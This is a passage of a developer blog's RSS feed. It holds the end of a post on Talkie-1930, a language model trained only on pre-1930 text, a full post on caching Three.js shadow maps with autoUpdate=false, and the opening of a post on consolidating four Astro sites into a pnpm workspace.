&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2305.18290&quot;&gt;DPO (Direct Preference Optimization)&lt;/a&gt; ran on the model&apos;s own rollouts. DPO is a fine-tuning method that nudges a model toward &quot;preferred&quot; answers and away from &quot;rejected&quot; ones using a dataset of paired comparisons, without the separate reward model that older RLHF (Reinforcement Learning from Human Feedback) pipelines required. The Talkie team used &lt;a href=&quot;https://www.anthropic.com/claude/sonnet&quot;&gt;Claude Sonnet 4.6&lt;/a&gt; as the AI judge that decided which of two candidate responses was better. Instruction-following ratings climbed from 2.0 to 3.4 on a five-point scale.&lt;/p&gt;
&lt;p&gt;There is a subtle point here. Using a modern model as a judge introduces a small contamination channel. Claude was trained on post-1930 material, including modern conventions about what a &quot;good answer&quot; looks like. A 1930 reader might prefer different rhetorical structures than a 2026 Anthropic preference dataset rewards. The team flags this honestly. It&apos;s the kind of trade-off that makes the project feel like real research instead of a gimmick.&lt;/p&gt;
&lt;h2&gt;What Talkie Tells Us That Modern LLMs Cannot&lt;/h2&gt;
&lt;p&gt;Modern frontier models confound three sources of capability: pretraining scale, RLHF alignment (the post-training step that teaches models to follow instructions and refuse harmful requests), and direct exposure to the test domain. You cannot tease them apart by ablating one factor on GPT-4 (ablating, in ML, just means removing one ingredient and re-running the experiment to see what changes). You&apos;d have to retrain from scratch.&lt;/p&gt;
&lt;p&gt;Talkie-1930 removes the third factor by construction. Whatever it can do, it does on top of pretraining structure plus vintage post-training. No exposure to code, modern instruction-following styles, or contemporary discourse.&lt;/p&gt;
&lt;p&gt;Three findings survive that removal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;In-context learning generalizes across temporal-semantic gaps.&lt;/strong&gt; Few-shot Python works with zero pretraining exposure to programming.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Surprise is measurable and tracks ignorance.&lt;/strong&gt; Bits-per-byte on dated content gives you an objective handle on what the model genuinely does not know.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Instruction following is portable.&lt;/strong&gt; The model learned to follow instructions from period reference works that were not designed as instruction data.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The complementary finding from the BitNet line of research is similar in spirit: capabilities we attribute to scale or precision are sometimes more robust than the framing suggests. (See &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;BitNet b1.58&lt;/a&gt; for the 1-bit version of this argument and &lt;a href=&quot;/blog/run-bitnet-on-mac-m1&quot;&gt;running BitNet on M1&lt;/a&gt; for the practical side.) Stripping a confound usually preserves more than you expect.&lt;/p&gt;
&lt;h2&gt;The Hassabis Test&lt;/h2&gt;
&lt;p&gt;The team frames the larger ambition with a question Demis Hassabis has been posing for a few years:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;As Demis Hassabis has asked, could a model trained up to 1911 independently discover General Relativity, as Einstein did in 1915?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That question stops being a thought experiment the moment Talkie-1930 ships. We now have the instrument. A 1911 cutoff is mostly a different filtering pass over the same source materials, and the experimental design (in-context examples, surprisingness curves, post-training from period reference works) carries over.&lt;/p&gt;
&lt;p&gt;We are not at General Relativity. We are nowhere near General Relativity. The relevant point is that the question has stopped being rhetorical. You can run the experiment.&lt;/p&gt;
&lt;h2&gt;What&apos;s Next&lt;/h2&gt;
&lt;p&gt;The team is targeting a trillion-token historical corpus and a GPT-3-level Talkie for release by summer 2026. At that scale, the comparison stops being &quot;tiny vintage model vs frontier model trained on the modern web&quot; and starts being &quot;comparable-capacity model with vs without modern data&quot;. That&apos;s the experiment whose results actually let us isolate what modern data buys us, beyond raw scale.&lt;/p&gt;
&lt;p&gt;If you want to play with the current model, the chat demo is at &lt;a href=&quot;https://talkie-lm.com/chat&quot;&gt;talkie-lm.com/chat&lt;/a&gt; and the code lives at &lt;a href=&quot;https://github.com/talkie-lm/talkie&quot;&gt;github.com/talkie-lm/talkie&lt;/a&gt;. The project&apos;s own writeup, &lt;em&gt;Introducing talkie: a 13B vintage language model from 1930&lt;/em&gt;, is the canonical source for the numbers and methodology.&lt;/p&gt;
&lt;p&gt;The thing I keep coming back to: a model that has never heard of a computer can be taught to write code from a handful of examples. Whatever debate you were having about reasoning vs memorization, you are now having a different one.&lt;/p&gt;
</content:encoded></item><item><title>Three.js Static Shadow Baking: One Flag That Saves 20-40% GPU</title><link>https://didof.dev/blog/threejs-static-shadow-baking/</link><guid isPermaLink="true">https://didof.dev/blog/threejs-static-shadow-baking/</guid><description>I posted a Three.js perf thread and got a sharp question back about whether &apos;baking&apos; was even the right word. The source code said yes and no. Here is what the exchange taught me about `autoUpdate = false`, runtime caching, and a 20-40% GPU win.</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import TweetCard from &quot;@/components/preview/tweet-card.astro&quot;;&lt;/p&gt;
&lt;p&gt;I posted a perf writeup for my procedural-city Three.js game and listed &quot;static shadow bake&quot; as one of the techniques. &lt;a href=&quot;https://x.com/alightinastorm&quot;&gt;@alightinastorm&lt;/a&gt; replied with a sharp question, then with a sharper clarification. The exchange sent me into the Three.js source for about an hour and left us both with a tighter mental model. It also taught me that the word I had been using was doing more work than it should.&lt;/p&gt;
&lt;p&gt;This post is the honest walkthrough: the mechanism that genuinely saves 20 to 40% GPU on a mostly static scene, and the bit I was calling by the wrong name.&lt;/p&gt;
&lt;p&gt;&amp;lt;TweetCard
url=&quot;https://x.com/alightinastorm/status/2046216280542212575&quot;
author=&quot;robot&quot;
handle=&quot;alightinastorm&quot;
date=&quot;Apr 19, 2026&quot;&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;when your game starts, the shadow texture has to be produced (unless you pre-bake it and load a texture file directly, in which case you don&apos;t need any shadows)&lt;/p&gt;
&lt;p&gt;once it is produced, there is no need to do any &quot;baking&quot;, since it never changes to begin with&lt;/p&gt;
&lt;p&gt;so what you&apos;re doing right now is you&apos;re producing it on runtime (not baked) and just never update it again :D&lt;/p&gt;
&lt;p&gt;&amp;lt;/TweetCard&amp;gt;&lt;/p&gt;
&lt;p&gt;That last line is the clean description. I&apos;ll come back to it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The shadow map &lt;strong&gt;texture&lt;/strong&gt; is allocated once. The shadow &lt;strong&gt;pass&lt;/strong&gt; that fills it re-runs every frame by default, even when the output is identical.&lt;/li&gt;
&lt;li&gt;Two &lt;code&gt;if&lt;/code&gt; guards in &lt;code&gt;WebGLShadowMap.render()&lt;/code&gt; control this. Both default to &lt;code&gt;true&lt;/code&gt;, so every &lt;code&gt;castShadow&lt;/code&gt; mesh gets re-rendered from every shadow-casting light on every frame.&lt;/li&gt;
&lt;li&gt;For a fully static scene, that is pure waste. The output depth texture is byte-identical frame to frame.&lt;/li&gt;
&lt;li&gt;Fix: &lt;code&gt;light.shadow.autoUpdate = false&lt;/code&gt;, then flip &lt;code&gt;light.shadow.needsUpdate = true&lt;/code&gt; for exactly one frame whenever geometry changes. Three.js clears the flag for you.&lt;/li&gt;
&lt;li&gt;Measured on my procedural-city game: ~20 to 40% GPU per frame reclaimed, zero visual change.&lt;/li&gt;
&lt;li&gt;The word &quot;baking&quot; is imprecise for what&apos;s happening here. The more honest name is runtime caching. I kept the title because that is what people search for, but the post says it straight.&lt;/li&gt;
&lt;li&gt;VSM tunes per-pass cost. This technique tunes pass frequency. Orthogonal, and they stack.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The texture vs the pass&lt;/h2&gt;
&lt;p&gt;Two things share the name &quot;shadow map&quot; and keeping them apart is the whole article.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The shadow map &lt;strong&gt;texture&lt;/strong&gt;. A depth buffer that lives in VRAM. Allocated once, reused every frame. This is what VSM filters and what a &quot;high-resolution shadow map&quot; refers to.&lt;/li&gt;
&lt;li&gt;The shadow &lt;strong&gt;pass&lt;/strong&gt;. A full render of the scene from the light&apos;s point of view, whose output is that texture. By default, this pass re-runs every frame, overwriting the texture with byte-identical data.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The texture is a cache slot. The pass is the compute that fills it. If the scene is static, that compute is wasted on every frame after the first.&lt;/p&gt;
&lt;h2&gt;What Three.js actually does each frame&lt;/h2&gt;
&lt;p&gt;From &lt;a href=&quot;https://github.com/mrdoob/three.js/blob/master/src/renderers/webgl/WebGLShadowMap.js#L92&quot;&gt;&lt;code&gt;src/renderers/webgl/WebGLShadowMap.js&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;this.render = function (lights, scene, camera) {
  if (_shadowMap.enabled === false) return;
  if (_shadowMap.autoUpdate === false &amp;amp;&amp;amp; _shadowMap.needsUpdate === false)
    return;
  // ... full depth pass over every castShadow mesh, per light ...
  _shadowMap.needsUpdate = false;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the renderer-global gate. The per-light gate lives inside the loop:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (let i = 0; i &amp;lt; lights.length; i++) {
  const shadow = lights[i].shadow;
  if (shadow.autoUpdate === false &amp;amp;&amp;amp; shadow.needsUpdate === false) continue;
  // ... render this light&apos;s depth map ...
  shadow.needsUpdate = false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two layers of gating. Both default to &lt;code&gt;true&lt;/code&gt;. With defaults, every mesh with &lt;code&gt;castShadow = true&lt;/code&gt; gets drawn from every shadow-casting light on every frame, forever. For a scene that never changes, every one of those draws produces the same depth values that were already in the texture from last frame.&lt;/p&gt;
&lt;p&gt;The Three.js docs confirm it in plain language:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://threejs.org/docs/#api/en/renderers/WebGLRenderer.shadowMap&quot;&gt;&lt;code&gt;WebGLRenderer.shadowMap.autoUpdate&lt;/code&gt;&lt;/a&gt;: &quot;If set to true, shadow maps will be updated every time a scene is rendered. Default is true.&quot;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://threejs.org/docs/#api/en/lights/shadows/LightShadow&quot;&gt;&lt;code&gt;LightShadow.autoUpdate&lt;/code&gt;&lt;/a&gt;: &quot;Enables automatic updates of the light&apos;s shadow. If you do not require dynamic lighting/shadows, you may set this to false. Default is true.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The library is telling you what the default costs.&lt;/p&gt;
&lt;h2&gt;The word &quot;baking&quot; is doing too much work&lt;/h2&gt;
&lt;p&gt;In game-dev tradition, &lt;strong&gt;baking&lt;/strong&gt; means precomputing something offline and shipping the result as an asset. A baked lightmap is a texture file that lives in your build output. A baked shadow is a shadow painted into the albedo or stored as a separate channel, loaded at runtime like any other image.&lt;/p&gt;
&lt;p&gt;What this optimization does is different. The first frame after the flag gets flipped, Three.js runs a normal depth pass and writes the output into the shadow map texture in VRAM. From that point on, every subsequent frame samples that texture and skips the pass. Nothing is persisted to disk. Nothing ships with the build. The texture is regenerated every time the page loads.&lt;/p&gt;
&lt;p&gt;That is runtime caching, not baking. &lt;a href=&quot;https://x.com/alightinastorm&quot;&gt;@alightinastorm&lt;/a&gt; put it better than I had:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;so what you&apos;re doing right now is you&apos;re producing it on runtime (not baked) and just never update it again&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sentence should have been in my head from the start. It wasn&apos;t, because &quot;bake&quot; is the word everyone uses in WebGL threads when they mean &quot;stop re-computing this&quot;. I kept the word in the title because the search volume lives there, but I want the mechanism described straight in the post.&lt;/p&gt;
&lt;p&gt;What the blog post used to frame as a correction was really the opposite. The question nudged me to actually read &lt;code&gt;WebGLShadowMap.js&lt;/code&gt;, and the clarification made me rename what I was doing in my own head. Both made this post better.&lt;/p&gt;
&lt;h2&gt;The trigger in my scene&lt;/h2&gt;
&lt;p&gt;Here is the actual function from my game&apos;s &lt;code&gt;src/game/scene.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sunLight.shadow.autoUpdate = false;

export function bakeStaticShadow(): void {
  if (!shadowsEnabled) return;
  sunLight.shadow.needsUpdate = true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It gets called after my city-generation build queues finish draining, both on initial boot and on every shuffle rebuild. The trigger maps cleanly to &quot;inputs changed&quot;: the geometry in the light&apos;s frustum is different, so the cached depth texture is stale, so produce a fresh one.&lt;/p&gt;
&lt;p&gt;I set the flag on the individual light, not on the renderer. If I later add a second shadow-casting light that genuinely needs per-frame updates (a flashlight, a muzzle flash, a moving vehicle headlight), it can keep its own defaults without me having to reorganize anything.&lt;/p&gt;
&lt;p&gt;One note on the function name: &lt;code&gt;bakeStaticShadow&lt;/code&gt; is a misnomer by the stricter definition above. I&apos;m leaving the name in my codebase because it is expressive and the team vocabulary is already built around it. A future refactor might call it &lt;code&gt;invalidateShadowCache&lt;/code&gt; or &lt;code&gt;markShadowDirty&lt;/code&gt;, which would be more accurate.&lt;/p&gt;
&lt;h2&gt;Measured impact on a real scene&lt;/h2&gt;
&lt;p&gt;The scene: ~2,000 to 3,000 merged building chunks plus terrain, all static per seed, one directional sun with shadow casting enabled. The world gets regenerated on a shuffle action but otherwise does not move.&lt;/p&gt;
&lt;p&gt;With the Three.js default of &lt;code&gt;autoUpdate = true&lt;/code&gt;, the depth pass was burning &lt;strong&gt;20 to 40% of per-frame GPU time&lt;/strong&gt; redrawing an identical depth texture. I measured that with Chrome&apos;s GPU timeline on both an M1 Mac and a mid-range gaming laptop (I&apos;m glat &lt;code&gt;pnpm dev --host&lt;/code&gt; exists!). The range comes from resolution and shadow-map size: higher framebuffer and bigger shadow map = the pass takes a larger share of the frame.&lt;/p&gt;
&lt;p&gt;With the autoUpdate flag off, that cost is paid exactly once per seed. A shuffle rebuild costs one frame of shadow-pass time, amortized across the following few thousand frames the player spends in that world.&lt;/p&gt;
&lt;p&gt;Zero visual change. The receiver meshes keep sampling the same depth texture they would have sampled anyway, because every frame&apos;s output was identical to every other frame&apos;s.&lt;/p&gt;
&lt;h2&gt;VSM is orthogonal&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/alightinastorm&quot;&gt;@alightinastorm&lt;/a&gt;&apos;s first suggestion in the thread was Variance Shadow Mapping. Worth being clear about what it does and when to reach for it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;VSM&lt;/strong&gt; and &lt;strong&gt;PCSS&lt;/strong&gt; change the filtering math inside the depth pass. They tune per-pass cost and quality, mostly by letting you pre-filter the depth texture and get softer shadows without the per-sample blur cost of PCF. They do not change how often the pass runs.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VSM with &lt;code&gt;autoUpdate = true&lt;/code&gt;: cheaper per pass, still runs 60 times a second.&lt;/li&gt;
&lt;li&gt;Default shadow map with &lt;code&gt;autoUpdate = false&lt;/code&gt;: same per-pass cost, runs exactly once.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a static scene, the pass-frequency lever is bigger. &quot;Expensive and rare&quot; beats &quot;cheap and constant&quot; when the output is identical either way.&lt;/p&gt;
&lt;p&gt;VSM is the right reach when the scene genuinely is dynamic and you need the per-frame pass to stay cheap. If your scene is mostly static with a single moving element, the two optimizations stack: flip &lt;code&gt;autoUpdate&lt;/code&gt; off with VSM enabled, then only pay the cheaper-per-pass cost on the rare invalidation.&lt;/p&gt;
&lt;p&gt;VRAM cost is also real, as &lt;a href=&quot;https://x.com/alightinastorm&quot;&gt;@alightinastorm&lt;/a&gt; noted: a crisp shadow map is a big texture, and shadow-map resolution is the lever to reach for on low-end devices regardless of how often the pass runs.&lt;/p&gt;
&lt;h2&gt;When this is the wrong fix&lt;/h2&gt;
&lt;p&gt;There are three scene shapes where keeping the default is the right call:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Moving casters.&lt;/strong&gt; A swinging crane, a rotating windmill, a walking NPC. The depth texture genuinely changes each frame. Freezing it would pin shadows to a wrong pose.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Moving lights.&lt;/strong&gt; A day/night cycle with a rotating sun. Same reason. The depth texture depends on light direction, so any change invalidates it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Partially dynamic.&lt;/strong&gt; Most of the scene is static but one character moves. Two options: split casters across two shadow-casting lights (one cached, one live), or keep &lt;code&gt;autoUpdate = true&lt;/code&gt; and accept the cost. In the latter case, shadow-map resolution is your next lever.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When to re-invalidate&lt;/h2&gt;
&lt;p&gt;Anything that changes the geometry in the light&apos;s frustum:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Level load or scene swap (my case: shuffle rebuild).&lt;/li&gt;
&lt;li&gt;Player-driven construction or destruction.&lt;/li&gt;
&lt;li&gt;Large prop spawns or despawns.&lt;/li&gt;
&lt;li&gt;Light direction changes (time-of-day ticks, for instance).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In all of those, flip &lt;code&gt;needsUpdate = true&lt;/code&gt; once, let Three.js do the rest on the next frame.&lt;/p&gt;
&lt;p&gt;For a broader look at the other techniques that matter for Three.js perf (intersection observers to delay scene loading, geometry merging, texture compression), see my earlier post on &lt;a href=&quot;/blog/optimize-threejs-4-key-techniques&quot;&gt;optimizing Three.js scenes with four practical techniques&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The shadow map &lt;strong&gt;texture&lt;/strong&gt; is one-time. The shadow &lt;strong&gt;pass&lt;/strong&gt; is not.&lt;/li&gt;
&lt;li&gt;Default Three.js: full scene-from-light render every frame, per shadow-casting light.&lt;/li&gt;
&lt;li&gt;For a static scene, turn that off (&lt;code&gt;autoUpdate = false&lt;/code&gt;) and mark dirty explicitly (&lt;code&gt;needsUpdate = true&lt;/code&gt;) when geometry changes.&lt;/li&gt;
&lt;li&gt;What the WebGL community calls &quot;baking&quot; here is more accurately &lt;strong&gt;runtime caching&lt;/strong&gt;. Nothing gets precomputed offline. Thanks to &lt;a href=&quot;https://x.com/alightinastorm&quot;&gt;@alightinastorm&lt;/a&gt; for pushing on that.&lt;/li&gt;
&lt;li&gt;VSM tunes per-pass cost. This technique tunes pass frequency. They stack.&lt;/li&gt;
&lt;li&gt;My scene: 20 to 40% GPU reclaimed, zero visual cost, one function call per rebuild.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Does &lt;code&gt;autoUpdate = false&lt;/code&gt; cause any visible flicker on the first frame?&lt;/h3&gt;
&lt;p&gt;No. The first call to render after you set &lt;code&gt;needsUpdate = true&lt;/code&gt; does the depth pass and writes the texture before any receiver samples it. From the user&apos;s point of view, the first frame with shadows looks identical to every subsequent frame.&lt;/p&gt;
&lt;h3&gt;Should I set this on the renderer or on each light?&lt;/h3&gt;
&lt;p&gt;Prefer the per-light flag (&lt;code&gt;light.shadow.autoUpdate = false&lt;/code&gt;). If you later add a light that genuinely needs per-frame shadow updates, you want its defaults to work without you having to remember that the renderer-global flag is off. Per-light scopes the optimization to where you intend it.&lt;/p&gt;
&lt;h3&gt;Is this the same as baking lightmaps in Blender?&lt;/h3&gt;
&lt;p&gt;No, and that&apos;s the honest-terminology answer from earlier in the post. Lightmap baking computes lighting offline and stores the result in a texture file that ships with your build. This technique computes the shadow map at runtime, once per invalidation, and keeps it in VRAM. The output never leaves the browser session.&lt;/p&gt;
&lt;h3&gt;What about &lt;code&gt;receiveShadow&lt;/code&gt; meshes?&lt;/h3&gt;
&lt;p&gt;Untouched. The sampling cost in the fragment shader is always paid, and it is cheap. Flipping &lt;code&gt;autoUpdate&lt;/code&gt; does not change anything about how receivers read the depth texture. It only changes how often the texture gets rewritten.&lt;/p&gt;
&lt;h3&gt;Does this work with multiple shadow-casting lights?&lt;/h3&gt;
&lt;p&gt;Yes. Each light owns its own &lt;code&gt;LightShadow&lt;/code&gt; instance with its own &lt;code&gt;autoUpdate&lt;/code&gt; and &lt;code&gt;needsUpdate&lt;/code&gt; flags. Freeze the static ones, leave the dynamic ones on defaults. They coexist.&lt;/p&gt;
&lt;h3&gt;How do I verify the pass is actually being skipped?&lt;/h3&gt;
&lt;p&gt;In Chrome, open the Performance tab, record a few seconds, and look at GPU traces. With defaults you will see repeated depth-pass entries each frame. With the flag off, those entries disappear after the first frame and only return on the frame where you flipped &lt;code&gt;needsUpdate&lt;/code&gt; back to true.&lt;/p&gt;
</content:encoded></item><item><title>How I Turned 4 Sites and a Shared Lib Into One pnpm Workspace</title><link>https://didof.dev/blog/pnpm-workspace-monorepo-setup/</link><guid isPermaLink="true">https://didof.dev/blog/pnpm-workspace-monorepo-setup/</guid><description>A first-person walkthrough of converting four separate Astro repositories and a shared components library into a single pnpm workspace. Real layout, real gotchas, and the five traps that cost me the most time.</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Before the monorepo, my local &lt;code&gt;~/Workspace/didof/&lt;/code&gt; looked like a cork board of unrelated projects: four Astro sites with their own &lt;code&gt;node_modules&lt;/code&gt; folders, their own lockfiles, their own &lt;code&gt;@didof/shared-something-that-was-always-out-of-sync&lt;/code&gt;, and their own build commands. Pushing a fix to the shared library meant four &lt;code&gt;npm link&lt;/code&gt; dances, four CI builds, and a lingering anxiety that one of the sites was running a three-week-old version of whatever I just edited.&lt;/p&gt;
&lt;p&gt;Two weeks ago I rolled all of that into a single pnpm workspace. Four Astro apps (&lt;a href=&quot;https://didof.dev&quot;&gt;didof.dev&lt;/a&gt;, &lt;a href=&quot;https://velocaption.com&quot;&gt;velocaption.com&lt;/a&gt;, &lt;a href=&quot;https://speechstudio.ai&quot;&gt;speechstudio.ai&lt;/a&gt;, &lt;a href=&quot;https://linkpreview.ai&quot;&gt;linkpreview.ai&lt;/a&gt;) plus one shared library (&lt;code&gt;@didof/shared&lt;/code&gt;) now live under one &lt;code&gt;packages/&lt;/code&gt; folder, share one lockfile, and can cross-reference each other&apos;s source at build time. I&apos;m shipping faster, and the cross-version bugs are gone.&lt;/p&gt;
&lt;p&gt;This post is the walkthrough, with every gotcha I actually hit.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; is a three-line file that declares which folders are part of the workspace. That&apos;s the whole mechanism.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workspace:*&lt;/code&gt; in a dependency spec points at a sibling package. No publishing, no &lt;code&gt;npm link&lt;/code&gt;, no version drift.&lt;/li&gt;
&lt;li&gt;Run any script across packages with &lt;code&gt;pnpm --filter &amp;lt;name&amp;gt; &amp;lt;script&amp;gt;&lt;/code&gt;. Combine filters for graph-aware builds.&lt;/li&gt;
&lt;li&gt;Subpath &lt;code&gt;exports&lt;/code&gt; in a sibling&apos;s &lt;code&gt;package.json&lt;/code&gt; lets another package import just one module (e.g. a registry file) without pulling in the whole site.&lt;/li&gt;
&lt;li&gt;The five gotchas at the end of this post cost me roughly four hours combined. All of them are cheap to fix once you know about them.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Why pnpm, Not npm or Yarn&lt;/h2&gt;
&lt;p&gt;npm workspaces work. Yarn workspaces work. I use pnpm because of how it handles &lt;code&gt;node_modules&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Every package in a pnpm workspace gets its own &lt;code&gt;node_modules&lt;/code&gt; folder, but the contents are &lt;strong&gt;symlinks&lt;/strong&gt; into a single content-addressable store at the monorepo root. One copy of React on disk, referenced by every package that depends on React. With four Astro sites each pulling in the same ~800 MB of Astro + Vite + React + Radix + Tailwind, the savings are dramatic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ du -sh node_modules          # content store at root
1.2G
$ du -sh packages/*/node_modules  # per-package symlink farms
4.8M    packages/didof.dev/node_modules
3.2M    packages/velocaption.com/node_modules
3.1M    packages/speechstudio.ai/node_modules
2.9M    packages/linkpreview.ai/node_modules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I had four separate &lt;code&gt;node_modules&lt;/code&gt; folders with copies of the same stuff, that&apos;s closer to 5 GB. pnpm reduces it to 1.2 GB. On a laptop with 500 GB of storage and a tendency to hoard Docker images, that matters.&lt;/p&gt;
&lt;p&gt;The other reason is &lt;strong&gt;strict dependency resolution&lt;/strong&gt;. npm and Yarn will let your code import any package that happens to be in &lt;code&gt;node_modules&lt;/code&gt;, including transitive dependencies your project never declared. Everything works locally, everything works in CI, and then one day a parent dependency drops that transitive dep in a minor version bump and your build breaks in production with no diff to blame.&lt;/p&gt;
&lt;p&gt;Here&apos;s a concrete case I lived with Yarn on the old didof.dev repo. A Vite plugin I used depended on &lt;code&gt;lodash&lt;/code&gt; internally. Somewhere in my source I wrote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import debounce from &quot;lodash/debounce&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I never added &lt;code&gt;lodash&lt;/code&gt; to my own &lt;code&gt;package.json&lt;/code&gt;. It worked for months. Then the Vite plugin upgraded to &lt;code&gt;lodash-es&lt;/code&gt;, dropped the old dep, and my build broke:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Could not resolve &quot;lodash/debounce&quot; from src/hooks/useDebounce.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With pnpm, this mistake surfaces the moment you write the import. pnpm&apos;s &lt;code&gt;node_modules&lt;/code&gt; layout only exposes packages you directly declare — transitive ones are hidden inside &lt;code&gt;.pnpm/&lt;/code&gt;. So the first run of &lt;code&gt;pnpm dev&lt;/code&gt; after adding that import fails immediately:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[plugin:vite:import-analysis] Failed to resolve import &quot;lodash/debounce&quot; from &quot;src/hooks/useDebounce.ts&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same error, six months earlier, when it&apos;s a two-minute fix (&lt;code&gt;pnpm add lodash&lt;/code&gt;) instead of a production incident.&lt;/p&gt;
&lt;h2&gt;The Layout That Actually Works&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;content-hub/
├── pnpm-workspace.yaml
├── package.json          # root; devDeps shared across packages
├── pnpm-lock.yaml        # single lockfile for everything
├── scripts/              # monorepo-wide scripts
├── packages/
│   ├── shared/           # @didof/shared: plugins, schemas, utils
│   ├── didof.dev/
│   ├── velocaption.com/
│   ├── speechstudio.ai/
│   └── linkpreview.ai/
└── .gitignore
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every package has its own &lt;code&gt;package.json&lt;/code&gt;, &lt;code&gt;astro.config.mjs&lt;/code&gt;, &lt;code&gt;tsconfig.json&lt;/code&gt;, &lt;code&gt;src/&lt;/code&gt;, and &lt;code&gt;dist/&lt;/code&gt;. The root &lt;code&gt;package.json&lt;/code&gt; is a thin shell that holds monorepo-wide dev tooling (tsx, typescript, sharp, glob) and a handful of scripts that delegate into packages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;dev:didof&quot;: &quot;pnpm --filter didof.dev dev&quot;,
    &quot;dev:velocaption&quot;: &quot;pnpm --filter velocaption.com dev&quot;,
    &quot;build:all&quot;: &quot;pnpm -r build&quot;,
    &quot;sync&quot;: &quot;pnpm tsx scripts/content-sync.ts&quot;,
    &quot;ship:didof&quot;: &quot;pnpm --filter didof.dev ship&quot;,
    &quot;ship:velocaption&quot;: &quot;pnpm --filter velocaption.com ship&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The pattern repeats for every workspace member: one &lt;code&gt;dev:&amp;lt;name&amp;gt;&lt;/code&gt; and one &lt;code&gt;ship:&amp;lt;name&amp;gt;&lt;/code&gt; per site. Cross-site commands (&lt;code&gt;build:all&lt;/code&gt;, &lt;code&gt;sync&lt;/code&gt;) stay unqualified since they operate on the graph.&lt;/p&gt;
&lt;p&gt;No clever turbo orchestration. Just pnpm filters. For four sites that mostly build independently, Turborepo would be over-engineering.&lt;/p&gt;
&lt;h2&gt;pnpm-workspace.yaml: The Three-Line File That Starts It All&lt;/h2&gt;
&lt;p&gt;This is the entire contents of &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; at the repo root:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;packages:
  - &quot;packages/*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s the whole mechanism. Anything matching that glob is a workspace member. When I cloned &lt;code&gt;linkpreview.ai&lt;/code&gt; into &lt;code&gt;packages/linkpreview.ai/&lt;/code&gt; and ran &lt;code&gt;pnpm install&lt;/code&gt;, pnpm discovered it, linked its declared deps, and exposed it under its declared package name. No further registration needed.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;packages&lt;/code&gt; key accepts multiple globs if you want more specific grouping (&lt;code&gt;apps/*&lt;/code&gt;, &lt;code&gt;libs/*&lt;/code&gt;, &lt;code&gt;tooling/*&lt;/code&gt;). For a flat layout one glob is enough.&lt;/p&gt;
&lt;h2&gt;Sharing Code: &lt;code&gt;workspace:*&lt;/code&gt;&lt;/h2&gt;
